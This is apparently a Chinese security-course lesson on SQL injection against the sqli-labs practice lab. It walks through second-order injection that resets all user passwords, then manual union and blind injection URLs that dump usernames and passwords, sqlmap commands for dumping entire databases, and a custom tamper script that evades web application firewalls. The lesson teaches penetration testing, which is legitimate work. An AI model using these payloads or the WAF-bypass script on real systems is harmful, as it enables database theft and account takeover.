Skip to content

07SQL注入:小心数据库被拖走(下)

这一讲,我会向你介绍二次注入、手工注入和自动化利用漏洞。

上一讲我讲解了 SQL 注入漏洞相关的基础知识,漏洞的产生是因为直接将用户输入的数据带入了 SQL 语言。但在特殊情况下,有可能第一次带入参数时做了安全转义,但开发人员在二次使用时并没有做转义,导致第二次使用时才产生注入,这就是二次注入。

二次注入

由于单引号常常被用来检测 SQL 注入,开发同学经常会把它过滤掉(删除)或者转义。最常用的方式就是 mysql_real_escape_string 函数,它能够对以下几种常见字符进行转义:

  • \x00

  • \n

  • \r

  • \

  • '

  • "

  • \x1a

比如单引号,会在前面添加反斜杠,转义成 ',这样就不会直接被当作引号解析了。mysql_real_escape_string 的处理方法对于防范字符型注入有明显的效果,但有时仍会被绕过,比如整数型注入时采用延时方法检测,以及我要在这里讲的二次注入。

那二次注入具体是什么呢?这里以 sqli-labs 中的第 24 题为例,我们先看下 login.php 中的关键代码:

php
    function sqllogin(){
	   $username = mysql_real_escape_string($_POST["login_user"]);
	   $password = mysql_real_escape_string($_POST["login_password"]);
	   $sql = "SELECT * FROM users WHERE username='$username' and password='$password'";
	//$sql = "SELECT COUNT(*) FROM users WHERE username='$username' and password='$password'";
	   $res = mysql_query($sql) or die('You tried to be real smart, Try harder!!!! :( ');
	   $row = mysql_fetch_row($res);
		//print_r($row) ;
	   if ($row[1]) {
				return $row[1];
	   } else {
	      		return 0;
	   }
	}
    $login = sqllogin();
	if (!$login== 0) 
	{
		$_SESSION["username"] = $login;
		setcookie("Auth", 1, time()+3600);  /* expire in 15 Minutes */
		header('Location: logged-in.php');
	}

可以发现 username 与 password 两个字符串参数都被 mysql_real_escape_string 函数过滤掉了,无法使用单引号去闭合语句进行注入,只能去尝试其他办法。我们继续往下看。

登录成功后,将用户名保存到 $_SESSION["username"],然后再跳转到 logged-in.php。我们重新观察页面,发现上面还有 2 个功能:忘记密码、创建新用户。

图 1:sqli-labs 第 24 题

为了寻找漏洞,我们就需要查看网站上的每个功能。先点击"Forgot your password?"看看,它会返回以下提示:

图 2:"Forgot your password?"页面

此时,我们查看该页面对应的源码文件 forgot_password.php,发现这里除了上面的图片,没有其他代码。没办法,我们只能返回去。

注意:这一步你可能看我什么都没做,但其实这里是有可能存在漏洞的,只是在我们的例子中不存在。如果是在其他场景中,请记得检查一下。

返回之后我们点击"New User click here?"按钮再找找。

图 3:"New User click here?"页面

通过浏览器的地址栏可以看到它跳转到 new_user.php。查看该源码文件,发现表单数据被提交到 login_create.php 处理:

xml
<form name="mylogin" method="POST" action="login_create.php">

这里我们来重点分析下 login_create.php 的源码:

php
<?php
	
	//including the Mysql connect parameters.
	include("../sql-connections/sql-connect.php");
	if (isset($_POST['submit']))
	{
	    # 校验用户的输入数据,分别是用户、密码、重新输入的密码
		$username=  mysql_escape_string($_POST['username']) ;
		$pass= mysql_escape_string($_POST['password']);
		$re_pass= mysql_escape_string($_POST['re_password']);
		
		echo "<font size='3' color='#FFFF00'>";
        #查询输入的用户名是否存在,若存在就提醒并停止创建账号
		$sql = "select count(*) from users where username='$username'";
		$res = mysql_query($sql) or die('You tried to be smart, Try harder!!!! :( ');
	  	$row = mysql_fetch_row($res);  # 获取查询结果
		
		//print_r($row);
		if (!$row[0]== 0) 
			{
			?>
			<script>alert("The username Already exists, Please choose a different username ")</script>;
			<?php
			header('refresh:1, url=new_user.php');
	   		} 
			else 
			{
	       		if ($pass==$re_pass)
				{
					# 若用户名不存在,就创建新的账号和密码
	   				$sql = "insert into users ( username, password) values(\"$username\", \"$pass\")";
	   				mysql_query($sql) or die('Error Creating your user account,  : '.mysql_error());
						echo "</br>";
						echo "<center><img src=../images/Less-24-user-created.jpg><font size='3' color='#FFFF00'>";   				
						//echo "<h1>User Created Successfully</h1>";
						echo "</br>";
						echo "</br>";
						echo "</br>";					
						echo "</br>Redirecting you to login page in 5 sec................";
						echo "<font size='2'>";
						echo "</br>If it does not redirect, click the home button on top right</center>";
						header('refresh:5, url=index.php');
				}
				else
				{
				?>
				<script>alert('Please make sure that password field and retype password match correctly')</script>
				<?php
				header('refresh:1, url=new_user.php');
				}
			}
	}
?>

通过源码可以发现这里的输入参数都被过滤了,然后将新建的用户名和密码插入到了数据库中。这是第一次将数据带入数据库,但没有产生注入漏洞,我们需要继续往下分析,寻找有没有可能存在的其他注入点。

重新回头再看下登录成功后跳转的 logged-in.php 文件源码,它会把密码以表单形式提交到 pass_change.php:

xml
<form name="mylogin" method="POST" action="pass_change.php">

先看下 pass_change.php 文件源码:

php
    if (isset($_POST['submit']))
	{
		# Validating the user input........
		$username= $_SESSION["username"];  // 从数据库取出的用户名未过滤
		$curr_pass= mysql_real_escape_string($_POST['current_password']);
		$pass= mysql_real_escape_string($_POST['password']);
		$re_pass= mysql_real_escape_string($_POST['re_password']);
		
		if($pass==$re_pass)
		{
            # 未过滤的用户名被带入 SQL 语句,造成 SQL 注入漏洞
			$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";
			$res = mysql_query($sql) or die('You tried to be smart, Try harder!!!! :( ');
			$row = mysql_affected_rows();
			echo '<font size="3" color="#FFFF00">';
			echo '<center>';
			if($row==1)
			{
				echo "Password successfully updated";
		
			}
			else
			{
				header('Location: failed.php');
				//echo 'You tried to be smart, Try harder!!!! :( ';
			}
		}
		else
		{
			echo '<font size="5" color="#FFFF00"><center>';
			echo "Make sure New Password and Retype Password fields have same value";
			header('refresh:2, url=index.php');
		}
	}

可以看到,从数据库取出来的用户名并没有转义,而我们又可以向数据库插入可控的用户名,即输入的用户名第一次被转义(非过滤),但拿出来使用时并未做再转义,这种写数据时转义,读数据时又未转义,造成了二次注入漏洞的发生。如果第一次存储时直接将恶意字符过滤掉的话,那第二次使用就没有问题。

因此,我们可以采用如下的攻击步骤。

(1)注册一个专门用来攻击的用户名,比如 admin' or 1=1#,密码为 test。

图 4:注册新的用户名

(2)登录新注册的账号。

图 5:登录新账号

(3)修改上面注册的用户密码为 hacker。

图 6:修改密码

(4)最终用户名 admin' or 1=1# 被注入 SQL 执行,导致所有用户密码都被修改为 hacker。

sql
mysql> select * from users;
+----+----------------+----------+
| id | username       | password |
+----+----------------+----------+
|  1 | Dumb           | hacker   |
|  2 | Angelina       | hacker   |
|  3 | Dummy          | hacker   |
|  4 | secure         | hacker   |
|  5 | stupid         | hacker   |
|  6 | superman       | hacker   |
|  7 | batman         | hacker   |
|  8 | admin          | hacker   |
|  9 | admin1         | hacker   |
| 10 | admin2         | hacker   |
| 11 | admin3         | hacker   |
| 12 | dhakkan        | hacker   |
| 14 | admin4         | hacker   |
| 15 | 1              | hacker   |
| 17 | admin' or 1=1# | hacker   |
+----+----------------+----------+
15 rows in set (0.00 sec)

(5)尝试用密码 hacker 登录账号 admin,如下所示,登录成功!

图 7: 登录成功

你看,从前面一步步地寻找漏洞,到发现 SQL 注入漏洞,并成功利用漏洞登录账号,哪怕不知道正确的密码是什么,也可以登录,这正是 SQL 注入神奇的地方所在。

手工注入

为了让你更好地理解 SQL 注入漏洞的利用,我会一步步地构造注入参数去利用漏洞,直到最终拿到账号密码,这样在后面通过工具自动化利用时,你也能更容易地理解其背后的逻辑。

在注入的过程中,常用到的会有以下几个步骤:获取字段数、枚举系统数据库名、获取当前数据库名、枚举数据库中的表名、枚举表中的字段名、获取字段值、盲注猜解字符串。这些步骤并不是一定的,我只是列举了一些比较常用的,希望对你能有所帮助。

(1)获取字段数

在"第06讲"中我讲到了"联合查询注入",我们使用 Union 查询注入爆出了账号和密码,但那是已知字段名的情况下。

在真实的漏洞利用场景中,我们需要自己通过 SQL 注入获取字段名,在此之前还得去获取字段数。前面使用的是 union select 1,2,3... 的方式不断追加查询的字段数来猜测,但如果业务就有很多的字段数,这个方法就有点烦琐了。因此,这里介绍另一种更加简便的方法。

通过 order 做字段排序,可以猜解出正确的字段数:

sql
order by n   # 通过不断尝试 n 的值直到出错,那么正确字段数就是 n-1

这种方法有时会用来判断是否存在 SQL 注入漏洞,同时在使用联合查询方法时,也可以用来获取读取数据。

以 sqli-labs 第 2 题为例,构建以下两个不同的请求会发现返回结果是不一样的,当使用利用"1 order by 3"作为 id 参数时,其返回正常;但当使用"1 order by 4"时却返回错误了:

sql
正常:http://localhost/Less-2?id=1 order by 3--+
错误:http://localhost/Less-2?id=1 order by 4--+,提示"Unknown column '4' in 'order clause'"

这就说明正确的字段数是 3,因为当用于排序的字段数大于总字段数时会出错。

(2)枚举系统数据库名

网站上可能会有多个数据库,为了更直接地查看包含业务数据的数据库,我们先枚举出系统的数据库名,然后根据数据库名来猜测有敏感信息的可能性,再针对那个数据库进行测试。

在版本号 5.0 以上的 MySQL 中,数据库名存放在 information_schema 数据库下的 schemata 表的 schema_name 字段中:

sql
mysql> select null,null,schema_name from information_schema.schemata;
+------+------+--------------------+
| NULL | NULL | schema_name        |
+------+------+--------------------+
| NULL | NULL | information_schema |
| NULL | NULL | challenges         |
| NULL | NULL | mysql              |
| NULL | NULL | performance_schema |
| NULL | NULL | security           |
+------+------+--------------------+
5 rows in set (0.00 sec)

从第一步我们得知字段数是 3 个,那么我们就可以通过 select 读取这 3 个字段的内容。由于这里的测试题目,在网页上只显示 1 个字段值,所以我们可以用 group_concat 函数将所有的数据库名连接起来,一次性地将多个字段值放在一个字段中显示。这里我把它放在了第 3 个字段中:

sql
http://localhost/Less-2/?id=0 union select 1,2,group_concat(schema_name) from information_schema.schemata

图 8: 系统数据库名

可以看到各个数据库名已经回显出来了。

(3)获取当前数据库名

通过当前页面的功能,我们可以知道它当前的数据库会涉及哪些数据,比如当前是账号创建和登录的页面,数据库必然包含账号密码信息,我们就可以先获取当前数据库名,后面再用来读取数据库中的字段值。MySQL 提供的 database() 函数可用来获取数据库名,因此我们可以像下面这样构建 URL:

sql
http://localhost/Less-2/?id=0 union select 1,2,database()--+

访问后我们得到当前数据库名为 security,接下来就可以去尝试读取该数据库内的内容。

(4)枚举数据库中的表名

通过以下语句获取存储账号密码的表名 users:

sql
http://localhost/Less-2/?id=0 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+

访问上述特意构造的链接后,页面返回以下内容:

图 9:数据库中的表名

(5)枚举表中的字段名

得到表名后,我们可以先看看有哪些字段名,为后面获取字段值做铺垫。由于表 information_schema.columns 中包含字段列表信息,因此我们可以通过它获取每个字段的名称,构造以下 URL 获取:

java
http://localhost/Less-2/?id=0 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'--+

访问后页面返回以下内容,得到表中的各个字段名:

图 10:表中的字段名

(6)获取字段值

前面我们已经拿到字段名、表名,接下来就可以直接通过 select 读取相应字段的值,比如此处用来获取 username 和 password 的值的 URL 请求:

java
http://localhost/Less-2/?id=0 union select 1,2,group_concat(username,': ',password) from users--+

访问后页面返回各字段值:

图 11:各字段的值

(7)盲注猜解字符串

前面的示例都是在有错误回显的情况下,通过 SQL 注入获得我们想要的用户信息,但有时在渗透测试时,网站并没有错误回显,此时就只能去盲注猜解出数据库名、字段名和值等关键信息。盲注猜解字符串的主要方式有布尔型盲注和基于时间延迟盲注,相关的知识我在《06 | SQL 注入:小心数据库被拖走(上)》中介绍过了。

sql
布尔型盲注:
http://localhost/Less-2/?id=1 and ascii(substr((select database()),1,1))>110--+ 判断数据库名的第一个字符的 ascii 值是否大于 110('H')
基于时间延迟盲注:
http://localhost/Less-2/?id=1 union select if(SUBSTRING(password,1,4)='Dumb',sleep(5),1),2,3 from users--+ 提取密码前四个字符做判断,正确就延迟 5 秒,错误返回 1

自动化利用漏洞

手工注入是个体力活,效率很慢,如果能自动化地利用漏洞,就可以解放双手,省下不少时间。因此,通常我们不会使用手工注入的方式。

下面我就来介绍如何利用 sqlmap 实现 SQL 注入漏洞的自动化利用。

使用 sqlmap 拖库

当前在 SQL 注入漏洞利用工具中,sqlmap 绝对是最常用的,前文也多次提到它,这里我们就尝试使用 sqlmap 实现拖库。

借助 sqlmap 我们可以通过简单的参数自动完成漏洞的利用,既不用记过多的 SQL 语句,也会更加高效。下面我会介绍一些常用的命令参数,通过这些参数,我们能实现注入自动化。具体的流程和手工注入一样,这里就不再赘述了。

(1)使用 --dbs 参数获取数据库名称(注意:这里需要 sudo,否则无法访问 docker 容器中的网站),示例命令如下:

shell
./sqlmap.py -u "http://localhost/Less-2/?id=1" --dbs

图 12:使用 --dbs 参数获取数据库名称

输出的对应 payload 也是学习各种注入技巧的参考资料,对于渗透测试者、漏洞扫描器、WAF 开发者需要研究的重要资源,有些扫描器干脆直接用 sqlmap,或者把它的所有 payload 扣出来使用。

(2)使用 --current-db 参数获取当前数据库,示例命令如下:

shell
./sqlmap.py -u "http://localhost/Less-2/?id=1" --current-db

图 13:使用 --current-db 参数获取当前数据库

(3)使用 --tables 参数枚举表名,示例命令如下 :

shell
./sqlmap.py -u "http://localhost/Less-2/?id=1" --tables -D 'security'

图 14:使用 --tables 参数枚举表名

(4)使用 --columns 参数枚举字段名,示例命令如下:

shell
./sqlmap.py -u "http://localhost/Less-2/?id=1" --columns -T "users" -D "security"

图 15:使用 --columns 参数枚举字段名

(5)使用 --dump 参数批量获取字段值,示例命令如下:

shell
./sqlmap.py -u "http://localhost/Less-2/?id=1" --dump -C "id,password,username" -T "users" -D "security"

图 16:使用 --dump 参数批量获取字段值

(6)使用 --dump-all 参数导出整个数据库

这个方法耗时较长,还有很多无价值信息,但却是最简单的拖库姿势,示例命令如下:

java
./sqlmap.py -u "http://localhost/Less-2/?id=1" --dump-all

上述方法导出的数据文件存放路径会在命令行给出,数据以 csv 文件形式保存到本地:

shell
Ubuntu# pwd
/root/.local/share/sqlmap/output/localhost/dump
Ubuntu# tree
.
├── challenges
   └── 6EAED22Z6T.csv
├── information_schema
   ├── CHARACTER_SETS.csv
   ├── COLLATION_CHARACTER_SET_APPLICABILITY.csv
   ├── COLLATIONS.csv
   ├── COLUMN_PRIVILEGES.csv
   ├── COLUMNS.csv
   ├── ......
   ├── SCHEMATA.csv
   ├── SESSION_STATUS.csv
   ├── SESSION_VARIABLES.csv
   ├── STATISTICS.csv
   ├── USER_PRIVILEGES.csv
   └── VIEWS.csv
├── mysql
   ├── help_category.csv
   ├── help_keyword.csv
   ├── help_relation.csv
   ├── help_topic.csv
   ├── proxies_priv.csv
   ├── servers.csv
   └── user.csv
├── performance_schema
   ├── cond_instances.csv
   ├── ......
   └── threads.csv
└── security
    ├── emails.csv
    ├── referers.csv
    ├── uagents.csv
    ├── users.csv
    └── users.csv.1
5 directories, 70 files
Ubuntu# cat /root/.local/share/sqlmap/output/localhost/dump/security/users.csv
id,username,password
1,Dumb,Dumb
2,Angelina,I-kill-you
3,Dummy,p@ssword
4,secure,crappy
5,stupid,stupidity
6,superman,genious
7,batman,mob!le
8,admin,admin
9,admin1,admin1
10,admin2,admin2
11,admin3,admin3
12,dhakkan,dumbo
14,admin4,admin4

利用 tamper 绕过 WAF

在云时代网络中,很多部署网站的服务器都会提供 WAF(Web 防火墙)服务。在未部署的情况下,云厂商如果检测到 Web 攻击请求,可能会发短信通知你开启 WAF 服务。之前我在一次渗透测试工作中就是如此:原本未部署 WAF 的网站,在 SQL 注入的过程中,突然就开启 WAF 拦截了。

tamper 正是对 sqlmap 进行扩展的一系列脚本,可在原生 payload 的基础上做进一步的处理以绕过 WAF 拦截。sqlmap 里有个 tamper 目录,里面放着很多脚本,比如编码、字符替换、换行符插入。

我们先来看下 sqlmap 自带的一个最简单的,用于转义单引号的 tamper 脚本:

python
#!/usr/bin/env python
"""
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL
def dependencies():
    pass
def tamper(payload, **kwargs):
    """
    Slash escape single and double quotes (e.g. ' -> \')
    >>> tamper('1" AND SLEEP(5)#')
    '1\\\\" AND SLEEP(5)#'
    """
    return payload.replace("'", "\\'").replace('"', '\\"')

它主要由 3 个部分组成。

  • priority:代表优先级,当使用多个脚本时可定义执行顺序。

  • dependencies:对依赖环境的声明,比如输出日志,可不写。

  • tamper:主函数。payload 代表 sqlmap 自带的测试语句;kwargs 代表请求参数,可以用来修改 http 头信息。tamper 主要是对原生 payload 做一些替换处理,这是绕过 WAF 的关键点

下面以某知名网站的 SQL 注入为例。常规的注入语句都被拦截了,后来在 fuzz 测试 WAF 时,发现使用一些特殊符号可以绕过 WAF(换行符也经常被用来绕过),而 MySQL 中有些特殊字符又相当于空格:

%01, %02, %03, %04, %05, %06, %07, %08, %09, %0a, %0b, %0c, %0d, %0e, %0f, %10, %11, %12, %13, %14, %15, %16, %17, %18, %19, %1a, %1b, %1c, %1d, %1e, %1f, %20

我们尝试在每个 SQL 关键词中随机加个%1e。测试确认可绕过 WAF 后,接下来就是写 tamper 让 sqlmap 实现自动化绕过 WAF。

python
import re
from lib.core.common import randomRange
from lib.core.data import kb  # kb 中存放着 sqlmap 的一些配置信息
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW
def tamper(payload, **kwargs):
    result = payload
    if payload:
        for match in re.finditer(r"\b[A-Za-z_]+\b", payload):
            word = match.group()
            if len(word) < 2:
                continue
            if word.upper() in kb.keywords:  # 判断是否属于 SQL 关键词
                str = word[0]
                for i in xrange(1, len(word) - 1):
                    str += "%s%s" % ("%1e" if randomRange(0, 1) else "", word[i])
                str += word[-1]
                if "%1e" not in str:
                    index = randomRange(1, len(word) - 1)
                    str = word[:index] + "%1e" + word[index:]
                result = result.replace(word, str)
    return result

上述代码会判断输入的字符串是否有 SQL 关键词,如果有就随机在关键词中间插入%1e。

假设原注入语句为:

sql
and ascii(substr((select database()),1,1))>64

经转换后变成:

sql
a%1end a%1escii(sub%1estr((s%1eelect da%1etabase()),1,1))>64

最后调用 sqlmap 执行即可:

shell
./sqlmap.py -u url --tamper=bypasswaf.py --dbs

到这里咱们就完成请求参数的修改了,这是用来绕过 WAF 是非常有效的手段。

总结

这一讲我主要介绍了二次注入产生的原理,以及如何利用 SQL 注入漏洞,包括手工注入及使用 sqlmap 实现自动化漏洞。

在个人渗透测试经历中,如果要挖掘和利用 SQL 注入漏洞,那么手工注入的技能是必备的,毕竟 sqlmap 也有扫不出来的情况。一旦能够手工注入成功,哪怕 sqlmap 检测不出来,我们也可以借助 tamper 脚本构造可成功注入的语句,然后再利用 sqlmap 与 tamper 脚本完成自动化的利用。无论如何,sqlmap 一直是 SQL 注入领域最优秀的工具,没有之一,非常值得学习和研究。

那我们如何利用 SQL 注入写入后门,进而拿到服务器的 shell 权限,比如 sqlmap 中的--os-shell 参数使用,还有 MySQL 新特性 secure_file_priv 对读写文件的影响呢?欢迎在留言区分享你的看法。

下一讲,我将带你了解如何检测和防御 SQL 注入,到时见~